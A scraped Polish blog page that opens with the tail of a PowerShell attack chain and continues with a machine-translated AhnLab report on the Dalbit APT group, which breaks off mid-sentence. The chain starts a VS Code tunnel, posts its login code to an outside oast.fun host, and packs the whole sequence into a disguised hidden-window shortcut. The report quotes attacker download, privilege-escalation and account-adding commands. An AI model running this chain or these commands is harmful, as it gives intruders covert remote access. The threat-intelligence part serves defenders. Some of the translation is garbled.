</span><span class="n">Start-Sleep</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">3</span><span class="w" style="color: #bbbbbb;">
</span><span class="n">Start-Process</span><span class="w" style="color: #bbbbbb;"> </span><span class="nt" style="color: navy;">-FilePath</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">.</span><span class="nx">\code.exe</span><span class="w" style="color: #bbbbbb;"> </span><span class="nt" style="color: navy;">-ArgumentList</span><span class="w" style="color: #bbbbbb;"> </span><span class="s2" style="color: #dd1144;">"tunnel --name Ooooopsie2000"</span><span class="w" style="color: #bbbbbb;"> </span><span class="nt" style="color: navy;">-RedirectStandardOutput</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">.</span><span class="nx">\output.txt</span><span class="w" style="color: #bbbbbb;"> </span><span class="c" style="color: #999988; font-style: italic;">#start tunnel and redirect the output to a txt file</span><span class="w" style="color: #bbbbbb;">
</span><span class="n">Start-Sleep</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">3</span><span class="w" style="color: #bbbbbb;">
</span><span class="n">iwr</span><span class="w" style="color: #bbbbbb;"> </span><span class="nt" style="color: navy;">-uri</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">cf8ryhj2vtc0000w93v0g8wcxjyyyyyyb.oast.fun</span><span class="w" style="color: #bbbbbb;"> </span><span class="nt" style="color: navy;">-Method</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">Post</span><span class="w" style="color: #bbbbbb;"> </span><span class="nt" style="color: navy;">-Body</span><span class="w" style="color: #bbbbbb;"> </span><span class="p">(</span><span class="n">Get-Content</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">.</span><span class="nx">\output.txt</span><span class="p">)</span><span class="w" style="color: #bbbbbb;"> </span><span class="c" style="color: #999988; font-style: italic;">#Post output to interact.sh for the code</span><span class="w" style="color: #bbbbbb;">
</span></code></pre></div></div><p style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; margin: 0px 0px 15px; padding: 0px;"><span style="vertical-align: inherit;">Możemy zbudować skrót, aby uruchomić łańcuch.</span></p><div class="language-powershell highlighter-rouge" style="background-color: #fdfdfd; color: #111111; font-family: -apple-system, "system-ui", "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px;"><div class="highlight" style="background: rgb(238, 238, 255); margin-bottom: 15px;"><pre class="highlight" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 3px; border: 1px solid rgb(232, 232, 232); font-size: 15px; margin-bottom: 15px; margin-top: 0px; overflow-x: auto; padding: 8px 12px;"><code style="border-radius: 3px; border: 0px; padding: 1px 0px;"><span class="c" style="color: #999988; font-style: italic;">#Payload</span><span class="w" style="color: #bbbbbb;">
</span><span class="nv" style="color: teal;">$EXEPath</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">=</span><span class="w" style="color: #bbbbbb;"> </span><span class="s2" style="color: #dd1144;">"</span><span class="nv" style="color: teal;">$</span><span class="nn" style="color: #555555;">env</span><span class="p">:</span><span class="nv" style="color: teal;">windir</span><span class="s2" style="color: #dd1144;">\System32\WindowsPowerShell\v1.0\powershell.exe"</span><span class="w" style="color: #bbbbbb;">
</span><span class="nv" style="color: teal;">$pay</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">=</span><span class="w" style="color: #bbbbbb;"> </span><span class="s1" style="color: #dd1144;">'cd C:\tmp; iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode; .\code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .\code.exe -ArgumentList "tunnel","--name","Ooooopsie2000" -RedirectStandardOutput .\output.txt; Start-Sleep 3; iwr -uri cf9dk1w2vtc0000vhr10g8ws3ohyyyyyb.oast.fun -Method Post -Body (Get-Content .\output.txt)'</span><span class="w" style="color: #bbbbbb;">
</span><span class="nv" style="color: teal;">$arguments</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">=</span><span class="w" style="color: #bbbbbb;"> </span><span class="s2" style="color: #dd1144;">" -nop -c </span><span class="nv" style="color: teal;">$pay</span><span class="s2" style="color: #dd1144;">"</span><span class="w" style="color: #bbbbbb;">
</span><span class="c" style="color: #999988; font-style: italic;">#lnk file</span><span class="w" style="color: #bbbbbb;">
</span><span class="nv" style="color: teal;">$LNKName</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">=</span><span class="w" style="color: #bbbbbb;"> </span><span class="mi" style="color: #009999;">123</span><span class="w" style="color: #bbbbbb;">
</span><span class="nv" style="color: teal;">$obj</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">=</span><span class="w" style="color: #bbbbbb;"> </span><span class="n">New-Object</span><span class="w" style="color: #bbbbbb;"> </span><span class="nt" style="color: navy;">-ComObject</span><span class="w" style="color: #bbbbbb;"> </span><span class="nx">WScript.Shell</span><span class="w" style="color: #bbbbbb;">
</span><span class="nv" style="color: teal;">$link</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">=</span><span class="w" style="color: #bbbbbb;"> </span><span class="nv" style="color: teal;">$obj</span><span class="o" style="font-weight: bold;">.</span><span class="nf" style="color: #990000; font-weight: bold;">CreateShortcut</span><span class="p">((</span><span class="n">Get-Location</span><span class="p">)</span><span class="o" style="font-weight: bold;">.</span><span class="nf" style="color: #990000; font-weight: bold;">Path</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">+</span><span class="w" style="color: #bbbbbb;"> </span><span class="s2" style="color: #dd1144;">"\"</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">+</span><span class="w" style="color: #bbbbbb;"> </span><span class="nv" style="color: teal;">$LNKName</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">+</span><span class="w" style="color: #bbbbbb;"> </span><span class="s2" style="color: #dd1144;">".lnk"</span><span class="p">)</span><span class="w" style="color: #bbbbbb;">
</span><span class="nv" style="color: teal;">$link</span><span class="o" style="font-weight: bold;">.</span><span class="nf" style="color: #990000; font-weight: bold;">WindowStyle</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">=</span><span class="w" style="color: #bbbbbb;"> </span><span class="s1" style="color: #dd1144;">'7'</span><span class="w" style="color: #bbbbbb;">
</span><span class="nv" style="color: teal;">$link</span><span class="o" style="font-weight: bold;">.</span><span class="nf" style="color: #990000; font-weight: bold;">TargetPath</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">=</span><span class="w" style="color: #bbbbbb;"> </span><span class="nv" style="color: teal;">$EXEPath</span><span class="w" style="color: #bbbbbb;">
</span><span class="nv" style="color: teal;">$link</span><span class="o" style="font-weight: bold;">.</span><span class="nf" style="color: #990000; font-weight: bold;">IconLocation</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">=</span><span class="w" style="color: #bbbbbb;"> </span><span class="s2" style="color: #dd1144;">"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"</span><span class="w" style="color: #bbbbbb;">
</span><span class="nv" style="color: teal;">$link</span><span class="o" style="font-weight: bold;">.</span><span class="nf" style="color: #990000; font-weight: bold;">Arguments</span><span class="w" style="color: #bbbbbb;"> </span><span class="o" style="font-weight: bold;">=</span><span class="w" style="color: #bbbbbb;"> </span><span class="nv" style="color: teal;">$arguments</span><span class="w" style="color: #bbbbbb;">
</span><span class="nv" style="color: teal;">$link</span><span class="o" style="font-weight: bold;">.</span><span class="nf" style="color: #990000; font-weight: bold;">Save</span><span class="p">()</span><span class="w" style="color: #bbbbbb;">
</span></code></pre><div><code style="border-radius: 3px; border: 0px; padding: 1px 0px;"><span class="p"><br /></span></code></div></div></div>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-5068388617225054142023-02-01T20:36:00.000+01:002023-02-01T20:36:21.712+01:00kampania ataków APT chińskiej grupy hakerów<p><br /></p><p>AhnLab</p><p>Wysłane przez kingkimgim , 31 stycznia 2023 r</p><p>Dalbit (m00nlight): kampania ataków APT chińskiej grupy hakerów</p><p>0. Przegląd</p><p>Treść jest rozszerzeniem bloga „Attack Group using FRP (Fast Reverse Proxy) Targeting Domestic Companies”, który został opublikowany 16 sierpnia 2022 r. i śledzi działania grupy.</p><p><br /></p><p>źródlo: https://asec.ahnlab.com/ko/46431/ </p><span><a name='more'></a></span><p><br /></p><p>Grupa atakująca przy użyciu FRP (Fast Reverse Proxy) na koreańskie firmy – ASEC BLOG</p><p>Spis treści1. Powłoka internetowa ASP. ASPXSpy2. Podniesienie uprawnień 2.1. Ziemniak2.2. Luka w zabezpieczeniach (exploit) 3. Proxy i przekierowanie portów 3.1. FRP3.2. HTran(LCX)4. Przypadki infekcji ransomware (BitLocker) W ostatnich latach krajowe firmy były często zaangażowane w naruszenia bezpieczeństwa, w których atakujący infiltruje, zaczynając od odsłonięcia podatnego serwera na zewnątrz i przejmuje kontrolę nad siecią wewnętrzną. Przypadki ataków wymierzonych w podatne serwery Atlassian Confluence Podatność Meterpretera na podatne serwery w krajowych placówkach medycznych…</p><p>Grupa ta korzystała głównie z narzędzi open source od przeszłości do chwili obecnej i brakowało jej wyraźnych cech profilowania ze względu na brak informacji, takich jak PDB. Ponadto serwer C2 (Command & Control) nadużył serwera krajowej firmy, a informacje, które można było zebrać, były ograniczone, gdyby ofiara nie zażądała osobnego dochodzenia. Jednak po opublikowaniu bloga i zablokowaniu niektórych krajowych serwerów korporacyjnych wykorzystywanych przez osobę atakującą osoba atakująca zaczęła wykorzystywać serwer hostingowy o nazwie „*.m00nlight.top” jako serwer C2 i serwer pobierania. Dlatego ASEC nazywa tę grupę Dalbit (m00nlight.top) od angielskiego słowa „Moonlight” oznaczającego „światło księżyca”.</p><p><br /></p><p>Potwierdzono, że grupa próbowała zaatakować ponad 50 koreańskich firm od 2022 roku do chwili obecnej. Firmy, które zostały dotychczas zaatakowane, to głównie małe i średnie firmy oraz niektóre duże firmy.W szczególności potwierdzono, że 30% zainfekowanych firm korzysta z określonego rozwiązania oprogramowania do pracy grupowej w Korei. Obecnie trudno jednoznacznie stwierdzić, czy w oprogramowaniu do pracy grupowej występuje luka, ale jeśli serwer wystawiony na zewnątrz jest podatny na ataki, może to doprowadzić do wycieku wewnętrznych tajemnic i oprogramowania ransomware, co może mieć ogromny wpływ na firmę. Ponadto ta grupa Dalbit ustawia niektóre z zainfekowanych firm jako serwery proxy i serwery pobierania oraz jest wykorzystywana jako łącze atakującego podczas infiltracji innej firmy.</p><p><br /></p><p>W związku z tym, jeśli istnieje podejrzenie ataku grupy Dalbit, konieczne wydaje się przeprowadzenie wewnętrznej kontroli bezpieczeństwa, a w celu zapobieżenia potencjalnym szkodom wtórnym i innym szkodom korporacyjnym należy zgłosić się do AhnLab, aby mogła zareagować zapobiegawczo.</p><p><br /></p><p> </p><p><br /></p><p>1. Krajowe firmy represjonowane (klasyfikacja branżowa)</p><p>W sumie 50 firm, które zostały zidentyfikowane jako ofiary od 2022 r. do chwili obecnej, są następujące. Firmy, których nie można jednoznacznie zidentyfikować, są wykluczone z listy i szacuje się, że dotkniętych firm jest więcej.</p><p><br /></p><p><br /></p><p>[Rysunek 1] Branże firm zaatakowanych przez grupę Dalbit</p><p> </p><p><br /></p><p>Opis każdej klasyfikacji jest następujący.</p><p><br /></p><p>Technologia: firma zajmująca się oprogramowaniem lub sprzętem</p><p>Przemysłowe: Producent maszyn, farb, stali i metalu</p><p>Chemia: kosmetyki, farmaceutyki, tworzywa sztuczne itp.</p><p>Budownictwo: Firmy budowlane lub stowarzyszenia lub organizacje związane z budownictwem</p><p>Motoryzacja : Producenci powiązani z motoryzacją</p><p>Półprzewodniki : Producenci powiązani z półprzewodnikami </p><p>Edukacja: firma edukacyjna</p><p>Hurt: hurtownik</p><p>Media: firmy drukarskie i medialne</p><p>Jedzenie: biznes spożywczy</p><p>Wysyłka: firma transportowa</p><p>Gościnność: firmy zajmujące się wypoczynkiem lub firmy zajmujące się kwaterami turystycznymi</p><p>Energia: Firmy energetyczne</p><p>Przemysł stoczniowy: Przemysł stoczniowy</p><p>Doradztwo : Firma zajmująca się doradztwem w zakresie zarządzania</p><p> </p><p><br /></p><p>2. Przepływ i charakterystyka</p><p>2.1. Podsumowanie</p><p><br /></p><p>[Rysunek 2] Podsumowanie naruszenia przez Dalbit Group</p><p> </p><p><br /></p><p>Powyższy rysunek przedstawia proces, w którym osoba atakująca naraża Firmę B. Krótkie wprowadzenie do przepływu jest następujące.</p><p><br /></p><p>1) Początkowy dostęp</p><p>Atakujący próbuje kontrolować system za pomocą narzędzi, takich jak powłoka sieciowa, po uzyskaniu dostępu do systemu za pomocą luk w zabezpieczeniach serwerów WWW lub serwerów SQL. 2) Pobierz kilka narzędzi hakerskich za pośrednictwem powłoki internetowej</p><p><br /></p><p>Command & Control .</p><p>Narzędzia hakerskie obejmują kilka plików binarnych, w tym narzędzia do zwiększania uprawnień, narzędzia proxy i narzędzia do skanowania sieci.</p><p><br /></p><p>3) Proxy & Internal Reconnaissance</p><p>Proxy: Atakujący instaluje narzędzie proxy, takie jak FRP (Fast Reverse Proxy), a następnie 2-1) serwer hostingowy zbudowany przez atakującego lub 2-2) serwer innej firmy (Firma A), która został zainfekowany Próbuje połączyć się z pulpitem zdalnym (RDP) przez</p><p>Rekonesans wewnętrzny: Rekonesans wewnętrzny i pozyskiwanie informacji za pomocą narzędzi do skanowania sieci i narzędzi do przejmowania kont.</p><p><br /></p><p>4) Ruch</p><p>poprzeczny Przenosi do innego serwera lub komputera, który można połączyć za pomocą uzyskanych informacji. Następnie narzędzie proxy (FRP) jest instalowane na komputerze, na którym ruch boczny zdołał skonfigurować środowisko, w którym osoba atakująca może uzyskać dostęp do protokołu RDP, a niezbędne uprawnienia uzyskuje się, dodając określone konto lub używając narzędzia do kradzieży danych uwierzytelniających, takiego jak Mimikatz .</p><p><br /></p><p>5) Wpływ</p><p>Wreszcie, jeśli atakujący ukradł wszystkie potrzebne mu informacje, blokuje określony dysk za pomocą funkcji BitLocker i żąda pieniędzy.</p><p>[Tabela 1] Podsumowanie opisu naruszenia</p><p> </p><p><br /></p><p>Główne cechy grupy Dalbit są następujące.</p><p><br /></p><p>2.2. Cechy Dalbita</p><p>Lista<span style="white-space: pre;"> </span>opisane</p><p>Atakujący serwer C2<span style="white-space: pre;"> </span>Pobieranie i serwer C2 (Command&Control):</p><p>Ponad połowa krajowych serwerów korporacyjnych lub serwerów hostingowych nadużywa krajowych serwerów korporacyjnych Serwery</p><p>hostingowe używają głównie *.m00nlight.top lub adresu IP.</p><p>Próba kontroli RDP<span style="white-space: pre;"> </span>Po infekcji próbuje głównie</p><p>uzyskać dostęp RDP Użyj narzędzia proxy lub Gotohttp do połączenia RDP</p><p>narzędzie proxy<span style="white-space: pre;"> </span>Oprócz FRP i LCX (Htran) główne narzędzia proxy używają NPS i ReGeorg .</p><p>Dodaj konto użytkownika<span style="white-space: pre;"> </span>Dodatkowe informacje o koncie za pomocą polecenia net</p><p>( ID : 'main' / PW : 'ff0.123456' )</p><p>narzędzia open source<span style="white-space: pre;"> </span>Korzystanie z narzędzi typu open source, z których większość jest łatwo dostępna dla każdego,</p><p>zwłaszcza wiele narzędzi napisanych w języku chińskim.</p><p>uchylanie się<span style="white-space: pre;"> </span>Użyj produktów VMProtect, aby ominąć narzędzia hakerskie i diagnostykę Usuwanie</p><p>dziennika zdarzeń bezpieczeństwa</p><p>kradzież informacji<span style="white-space: pre;"> </span>Informacje o koncie użytkownika Informacje e-</p><p>mail</p><p>Przeciek ekranu Informacje o</p><p>zainstalowanym programie</p><p>[Tabela 2] Cechy Dalbita</p><p> </p><p><br /></p><p>3. Stosowane narzędzia i proces naruszenia</p><p>3.1. Narzędzia użytkowe i złośliwe oprogramowanie</p><p>powłoka internetowa<span style="white-space: pre;"> </span>program do pobierania<span style="white-space: pre;"> </span>podwyższenie uprawnień<span style="white-space: pre;"> </span>pełnomocnik<span style="white-space: pre;"> </span>rekonesans wewnętrzny</p><p>Godzilla</p><p>ASPXSpy</p><p>AntSword</p><p>China Chopper<span style="white-space: pre;"> </span>Certutil (Windows CMD)</p><p>Bitsadmin (Windows CMD)<span style="white-space: pre;"> </span>BadPotato</p><p>JuicyPotato</p><p>SweetPotato</p><p>RottenPotato</p><p>EFSPotato</p><p><br /></p><p>CVE-2018-8639</p><p>CVE-2019-1458<span style="white-space: pre;"> </span>FRP</p><p>LCX</p><p>NPS</p><p>ReGeorg<span style="white-space: pre;"> </span>FScan</p><p>NbtScan</p><p>TCPScan</p><p>Goon Nltest</p><p>(Windows CMD)</p><p>ruch boczny<span style="white-space: pre;"> </span>Zbieranie i wyciek informacji<span style="white-space: pre;"> </span>tylne drzwi<span style="white-space: pre;"> </span>szyfrowanie plików<span style="white-space: pre;"> </span>uchylanie się</p><p>RDP</p><p>PsExec</p><p>RemCom</p><p>Wineexec<span style="white-space: pre;"> </span>Wevtutil (Windows CMD)</p><p>WMI (Windows CMD)</p><p>ProcDump</p><p>Dumpert</p><p>EML Extractor (przez</p><p>Mimikatz</p><p><br /></p><p>Rsync )<span style="white-space: pre;"> </span>CobaltStrike</p><p>MetaSploit</p><p>BlueShell</p><p>Ladon<span style="white-space: pre;"> </span>BitLocker</p><p>(Windows CMD)<span style="white-space: pre;"> </span>Zabezpieczenia Usuwanie dziennika (Windows CMD)</p><p>Zapora wyłączona (Windows CMD)</p><p>Próba usunięcia produktu antywirusowego</p><p>VMProtect Packing</p><p>[Tabela 3] Złośliwe kody i narzędzia hakerskie wykorzystywane przez Dalbit</p><p>Jedno narzędzie stworzone przez atakującego wydaje się wyciekać wiadomości e-mail, a reszta korzystała z normalnych programów systemu Windows lub narzędzi, które można łatwo uzyskać podczas wyszukiwania.</p><p><br /></p><p> </p><p><br /></p><p>3.2. proces o naruszenie</p><p>3.2.1. wczesna penetracja</p><p>Przypuszcza się, że celem ataku jest serwer z określonym oprogramowaniem do pracy grupowej zainstalowanym w Korei, podatny na ataki serwer WWW, serwer pocztowy (Exchange Server) i serwer SQL. Atakujący wykorzystał luki w zabezpieczeniach WebLogic, takie jak CVE-2017-10271 lub luki w zabezpieczeniach przesyłania plików, aby przesłać WebShell, a niektóre wydają się używać wiersza polecenia programu SQL Server (xp_cmdshell). </p><p><br /></p><p>Powłoki sieciowe wykorzystywane przez osoby atakujące to Godzilla, ASPXSpy, AntSword i China Chopper w kolejności. Godzilla była używana najczęściej, a także zidentyfikowano kilka innych powłok sieciowych.</p><p><br /></p><p>Ścieżka zainstalowanej powłoki internetowej jest następująca.</p><p><br /></p><p>– Rekrutacja personelu (luka umożliwiająca przesyłanie plików)</p><p>D:\WEB\********recruit\css\1.ashx</p><p>D:\WEB\********recruit\css\4.ashx</p><p>D: \WEB\********recruit\common\conf.aspx</p><p>.. .</p><p><br /></p><p>– Luka w zabezpieczeniach związana z przesyłaniem plików</p><p>D:\UploadData\***********\****_File\Data\Award\1.ashx</p><p>D:\UploadData\*********** \****_File\Data\Award\2.aspx</p><p>D:\UploadData\************\****_File\Data\Award\3.aspx</p><p>D:\** Usługa sieci Web\*******\********Edytor\przykład\photo_uploader\File\conf.aspx</p><p>D:\**Usługa sieci Web\********_Submission\Include\file . aspx</p><p>.. .</p><p><br /></p><p>– Określone oprogramowanie do pracy grupowej</p><p>D:\Web\(groupware)\cop\1.ashx</p><p>D:\Web\(groupware)\app\4.ashx</p><p>D:\Web\(groupware)\bbs\4.asmx</p><p>D:\Web\ (Oprogramowanie do pracy grupowej)\erp\tunnel.aspx (ReGeorg)</p><p>D:\inetpub\(Oprogramowanie do pracy grupowej)\image\2.asmx</p><p>D:\inetpub\(groupware)\image\2.aspx</p><p>C:\(groupware)\Web\(groupware)\cop\conf.aspx</p><p>C:\(groupware)\Web\(groupware)\cop\1.ashx</p><p>C:\(oprogramowanie do pracy grupowej)\Web\(oprogramowanie do pracy grupowej)\cop\1.asmx</p><p>C:\(oprogramowanie do pracy grupowej)\Web\(oprogramowanie do pracy grupowej)\cop\1.aspx</p><p>…</p><p><br /></p><p>– Serwer pocztowy ( Exchange Server )</p><p>D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\aa.aspx</p><p>D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\ auth\11.aspx</p><p>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Tymczasowe pliki ASP.NET\root\91080f08\2694eff0\app_web_defaultwsdlhelpgenerator.aspx.cdcab7d2.sjx_41yb.dll</p><p>C:\Windows\Microsoft.NET\ Framework64\v4.0.30319\Tymczasowe pliki ASP.NET\root\91080f08\2694eff0\app_web_ldaj2kwn.dll</p><p>…</p><p><br /></p><p>– Weblogic D:\***\wls1035\domains\************\servers\*******\tmp\************\uddiexplorer \gcx62x\war\modifyregistryhelp.jsp</p><p>D:\***\wls1035\domains\************\servers\*******\tmp\***** ******\wls-wsat\zfa3iv\war\eee.jsp</p><p>D:\***\wls1035\domains\************\servers\***** *\tmp\************\wls-wsat\zfa3iv\war\error.jsp</p><p>D:\Oracle\***********\user_projects\domains\** **********\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\123.jsp</p><p>D:\Oracle\*** *******\user_projects\domains\***************\servers\WLS_FORMS\tmp\************\wls-wsat \tcsxmg \war\test.jsp D:\Oracle\***********\user_projects\domains\*************\servers\WLS_FORMS\tmp\** **********\wls-wsat\tcsxmg\war\aaa.jsp</p><p>…</p><p><br /></p><p>– Tomcat</p><p>C:\(Tomcat)\webapps\dd\sb.jsp</p><p>C:\(Tomcat)\webapps\ddd\index.jsp</p><p>C:\(Tomcat)\webapps\docs\update.jsp</p><p>C:\(Tomcat)\webapps\tmp\shell.jsp</p><p>[Tabela 4] Ścieżka, do której ładowana jest powłoka WWW</p><p> </p><p><br /></p><p>3.2.2. Pobierać</p><p>Atakujący pobiera inne narzędzia hakerskie za pomocą domyślnie zainstalowanych normalnych programów systemu Windows. Ponieważ powłoka internetowa jest zwykle używana do infiltracji, z wyjątkiem procesów poleceń, takich jak cmd, procesy nadrzędne są wykonywane przez procesy serwera sieciowego, takie jak w3wp.exe, java.exe, sqlserver.exe i tomcat*.exe. Pobrane pliki otrzymują pliki potrzebne atakującemu, takie jak narzędzia do podnoszenia uprawnień, narzędzia proxy i narzędzia do skanowania sieci. Polecenie pobierania jest następujące.</p><p><br /></p><p>(Dla porównania, w przypadku nadużywania krajowego serwera korporacyjnego adres nie jest w pełni ujawniany.)</p><p><br /></p><p>1) Certutil</p><p><br /></p><p>> certutil -urlcache -split -f hxxp://www.ive***.co[.]en/uploadfile/ufaceimage/1/update.zip c:\programdata\update.exe (frpc)</p><p>> certutil -urlcache - split -f hxxp://121.167.***[.]***/temp/8.txt c:\programdata\8.ini (frpc.ini)</p><p>> certutil -urlcache -split -f hxxp://103.118 .42[.]208:8080/frpc.exe frpc.exe</p><p>…</p><p>[Tabela 5] Dziennik pobierania Certutil</p><p>2) Bitsadmin</p><p><br /></p><p>> bitsadmin /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8080/calc32.exe ” “c:\windows\debug\winh32.exe” (frpc)</p><p>> bitsadmin /transfer mydownloadjob / download /priority normal „ hxxp://91.217.139[.]117:8001/log.ini ” „c:\windows\debug\log.ini” (frpc.ini)</p><p>…</p><p>[Tabela 6] Dziennik pobierania Bitsadmin</p><p>Narzędzia hakerskie i złośliwe kody pobierane przez osoby atakujące były identyfikowane głównie w następujących ścieżkach. </p><p><br /></p><p>%ALLUSERSPROFIL%</p><p><br /></p><p>%SystemDrive%\temp</p><p>%SystemDrive%\perflogs</p><p>%SystemDrive%\nia</p><p>%SystemDrive%\.tmp</p><p><br /></p><p>%SystemRoot%</p><p>%SystemRoot%\debug</p><p>%SystemRoot%\temp</p><p>[Tabela 7] Główny katalog używany przez grupę Dalbit</p><p>Dlatego w przypadku podejrzenia naruszenia konieczne jest sprawdzenie pliku w odpowiedniej ścieżce.</p><p><br /></p><p> </p><p><br /></p><p>3.2.3. Podnieś uprawnienia i dodaj konta</p><p>Atakujący używają głównie Potato (BadPotato, JuicyPotato, SweetPotato, RottenPotato, EFSPotato) i POC (CVE-2018-8639, CVE-2019-1458) opublikowanych na Github w celu eskalacji uprawnień. Charakteryzuje się dodaniem następującego konta po podniesieniu uprawnień.</p><p><br /></p><p>Sp.exe poniżej to narzędzie SweetPotato.</p><p><br /></p><p>> sp.exe „whaomi” (sprawdź uprawnienia)</p><p>> sp.exe „netsh advfirewall wyłącz stan wszystkich profili” (zapora wyłączona)</p><p>> sp.exe „użytkownik sieciGłównyff0.123456 /add & net localgroup administrators main /add” (dodaj konto)</p><p>[Tabela 8] Logi przy użyciu SweetPotato</p><p>Interesującą częścią do obejrzenia jest nazwa konta dodana przez atakującego. Potwierdza to również konto atakującego „główne” w innych firmach naruszających prawo.</p><p><br /></p><p>Oprócz dodawania kont, atakujący wykorzystał również przejęte konta administratorów.</p><p><br /></p><p>> wmic /node:127.0.0.1 /user:storadmin /password:r*****1234!@#$ wywołanie procesu utwórz „cmd.exe /cc:\temp\s.bat”</p><p>[Tabela 9] Dziennik wykonania konta administratora</p><p> </p><p><br /></p><p>3.2.4. ustawienia proxy</p><p>Po infiltracji serwera atakujący uzyskuje do niego dostęp za pośrednictwem serwera proxy w celu wykorzystania komunikacji RDP. FRP i LCX były używane głównie jako narzędzia proxy, a ReGeorg , NPS lub RSOCKS zostały również potwierdzone w niektórych firmach. Ponadto kilka narzędzi proxy, takich jak FRP i LCX, zostało zidentyfikowanych w jednym miejscu w określonej firmie naruszającej prawa, a wiele plików konfiguracyjnych FRP (. Uważa się, że gdy wśród dostępnych komputerów jest wiele ofiar, atakujący dodatkowo instaluje FRP i wykorzystuje dużą liczbę plików konfiguracyjnych. Ponadto używany przez grupę LCX ma te same funkcje, co open source, ale zamiast wersji opublikowanej na Githubie zastosowano arbitralnie skompilowane chińskie pliki binarne. </p><p><br /></p><p>Istnieją różnice w metodach przekazywania i protokołach obsługiwanych przez narzędzia proxy, takie jak FRP i LCX. Ponieważ jednak raport TI „Raport z analizy przypadków ataków wykorzystujących różne narzędzia do zdalnego sterowania ” wyjaśnia różnicę, rzeczywiste przypadki infekcji oraz odtwarzane i sieciowe pakiety, ten artykuł nie wspomina o tej części osobno. </p><p><br /></p><p> </p><p><br /></p><p>1) FRP (SZYBKIE ODWROTNE PROXY)</p><p>W przypadku przejęcia przez tę grupę pliki konfiguracyjne FRP (.ini) zostały zidentyfikowane zarówno na serwerze, jak i na urządzeniu PC. Poniżej znajduje się przykład rzeczywistej firmy naruszającej zasady.</p><p><br /></p><p><br /></p><p>[Rysunek 3] Plik konfiguracyjny FRPC (m00nlight.top) znaleziony w firmie naruszającej prawo</p><p>W szczególności grupa Dalbit komunikowała się głównie za pomocą protokołu Socks5. Protokół Socks5 jest protokołem piątej warstwy 7. warstwy OSI i może obsługiwać różne żądania, takie jak HTTP, FTP i RDP, ponieważ znajduje się między 4. a 7. warstwą. W związku z tym, jeśli atakujący użyje narzędzia połączenia proxy, takiego jak Proxifier, które może obsłużyć Socks5 na serwerze atakującego, możliwa jest zdalna kontrola przez RDP, a jeśli możliwe jest połączenie z wewnętrznym komputerem PC, można również wykonać ruch boczny. Innymi słowy, jeśli ustawisz plik konfiguracyjny na protokół Socks5, masz większą swobodę, ponieważ możesz obsłużyć wiele żądań bez dalszych modyfikacji. </p><p><br /></p><p><br /></p><p>[Rysunek 4] Przykład użycia Socks5</p><p> </p><p><br /></p><p>Poniżej znajdują się nazwy plików FRP i polecenia użyte przez atakującego. Poniżej wymieniono te najczęściej używane.</p><p><br /></p><p>Nazwa pliku FRP</p><p>update.exe</p><p>debug.exe</p><p>main.exe</p><p>info.exe</p><p>Agent.exe</p><p>frpc.exe</p><p>test.exe</p><p>zabbix.exe</p><p>winh32.exe</p><p>cmd.exe</p><p>[Tabela 10] Nazwy plików FRP</p><p>Komenda FRP</p><p>> update.exe -c frpc.ini</p><p>> update.exe -c 8080.ini</p><p>> update.exe -c 8.ini</p><p>> info.zip -c frpc__8083.ini</p><p>> debug.exe -c debug.ini</p><p>> debug.exe - c debug.log</p><p>> debug.exe -c debug.txt</p><p>> frpc.exe -c frpc__2381.ini</p><p>> cmd.exe /cc:\temp\****\temp\frpc.ini</p><p>…</p><p>[Tabela 11] Dziennik wykonania FRP</p><p>Ponadto niektóre firmy zachowywały wytrwałość, rejestrując FRP w harmonogramie zadań (schtasks) pod nazwą „debug”. Potwierdzono, że zarejestrowany harmonogram został wykonany w następujący sposób.</p><p><br /></p><p>> schtasks /tn debug /run</p><p>[Tabela 12] Dziennik wykonywany przez Harmonogram zadań</p><p> </p><p><br /></p><p>2) LCX (HTRAN)</p><p>Dalbit użył pliku binarnego LCX (Htran) skompilowanego przez pewnego Chińczyka. Ma to taką samą funkcję jak istniejący plik binarny , ale określony jest pseudonim twórcy pliku binarnego.</p><p><br /></p><p><br /></p><p>[Rysunek 5] Uruchamianie LCX używane przez grupę Dalbit (autor: 折羽鸿鹄)</p><p>Osoba, która utworzyła plik binarny, jest identyfikowana jako 